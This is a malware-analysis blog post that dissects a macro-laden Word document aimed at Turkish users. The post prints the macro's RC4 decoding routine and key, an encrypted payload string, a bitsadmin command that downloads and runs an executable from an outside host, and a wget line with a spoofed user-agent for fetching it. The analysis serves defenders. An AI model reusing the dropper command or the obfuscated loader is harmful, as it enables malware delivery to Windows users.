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Microsoft BITS Used to Download Payloads

Published: 2016-05-05
Last Updated: 2016-05-06 05:04:58 UTC
by Xavier Mertens (Version: 1)
7 comment(s)

A few day ago, I found an interesting malicious Word document. First of all, the file has a very low score on VT: 2/56 (analysis is available here). The document is a classic one: Once opened, it asks the victim to enable macro execution if not yet enabled. The document targets Turkish people:
 
 
The OLE document contains of course a malicious macro:
$ oledump.py b2a9d203bb135b54319a9e5cafc43824
  1:       113 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      9398 '1Table'
  5:    193456 'Data'
  6:       448 'Macros/PROJECT'
  7:        41 'Macros/PROJECTwm'
  8: M   18073 'Macros/VBA/ThisDocument'
  9:      3584 'Macros/VBA/_VBA_PROJECT'
 10:       522 'Macros/VBA/dir'
 11:      4096 'WordDocument'
The analysis of the macro is interesting. The file executed by a Shell() invocation is encrypted using RC4 and encoded in Base64:
ushdushdu = FlushCells("776129CAECFBE48F01DAC78C40B872BB1A005253F63151B2B093CA272A3C6DE382BE1AAA6586BDBC2E6579E5AF8A0BDE5D798979972BD193590479E79DBC27BD7B085F20B0304720326D6426885FD2B14A84D6A55FADF25589DF1D2B8DC244B62008AB4DB9BBDBE715C1F1EF29AFCDB1DA4DEA5F3020B871E02BA9CD4DE638D7FBB903A1D95A11F3F7816FE6BB237F3688217CBB8C3C3351C8BA766C054B4F7D0F35C35B074241D93F74F2A02BCD79251D3511CC770CF503A2409FF5C9944ADE53B2685A0968FB466874AF8929C7A82827726278EC4B4076AA84AC430150AFB20C3A4DC94B264C2382DDA6A9F70C17D8618B0A0759340A4D840D2A222612125892136E316DF67ED314739477463BF101C06454BCA61F9B45BA7A82CDD6FB24A3A678C3A1E804955CAB28A3036D0C86B2A38FDDC270B538C2394982AF2B206507927DA47885E53BD9B4A0E196EA4B05FE")

shdhushuhsd = Base64DecodeString(ushdushdu)
The function FlushCells is used to decode this long string. The string is split by sets of two characters, converted into decimal, then the string is unciphered using the key provided in the macro.
Public Function FlushCells(text)
    Dim sbox(256) As Integer
    Dim key(256) As Integer
    Dim Text2 As String
    Dim temp As Integer
    Dim a As Long
    Dim i As Integer
    Dim j As Integer
    Dim k As Long
    Dim w As Integer
    Dim cipherby As Integer
    Dim cipher As String
    For w = 1 To Len(text) Step 2
        Text2 = Text2 & Chr(Dec(Mid$(text, w, 2)))
    Next
    i = 0
    j = 0
    jkddd = skdjr
    encryptkey = "Trafalgar picnicking widower insights competitors leprechaun windmilling primp dueling campers"
    RC4Initialize encryptkey, key, sbox
    For a = 1 To Len(Text2)
        jkddd = jkddd + " "
        i = (i + 1) Mod 256
        j = (j + sbox(i)) Mod 256
        temp = sbox(i)
        sbox(i) = sbox(j)
        sbox(j) = temp
        k = sbox((sbox(i) + sbox(j)) Mod 256)
        cipherby = Asc(Mid$(Text2, a, 1)) Xor k
        cipher = cipher & Chr(cipherby)
    Next
    FlushCells = cipher
End Function
Once decoded a file is created in %APPDATA%\Roaming\file.bat. It contains this simple code:
ping 127.0.0.1 -n 3>null&bitsadmin /transfer myjob /download /priority high http://ads.metrofamilyzine.com/ef9a0c52/7e4ccb5.bin "%APPDATA%\27dgdte72.exe">nul&start %APPDATA%\27dgdte72.exe
This is the interesting part. Instead of using a classic Microsoft.XMLHTTP object, the macro download the payload via the tool Bitsadmin. Bitsadmin is a command line tool used to create download or upload jobs and monitor their progress. It is available by default since Windows 7 or Windows Server 2008 R2. "BITS" stands for "Background Intelligent Transfer Service". 
 
Bitsadmin uses its own specific User-Agent that is checked by the compromised website to prevent direct downloads. You must use this one to access the payload: "Microsoft BITS/7.5”:
$ wget --user-agent="Microsoft BITS/7.5" http://ads.metrofamilyzine.com/ef9a0c52/7e4ccb5.bin
The analyze of the payload is here (VT score: 4/56).

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

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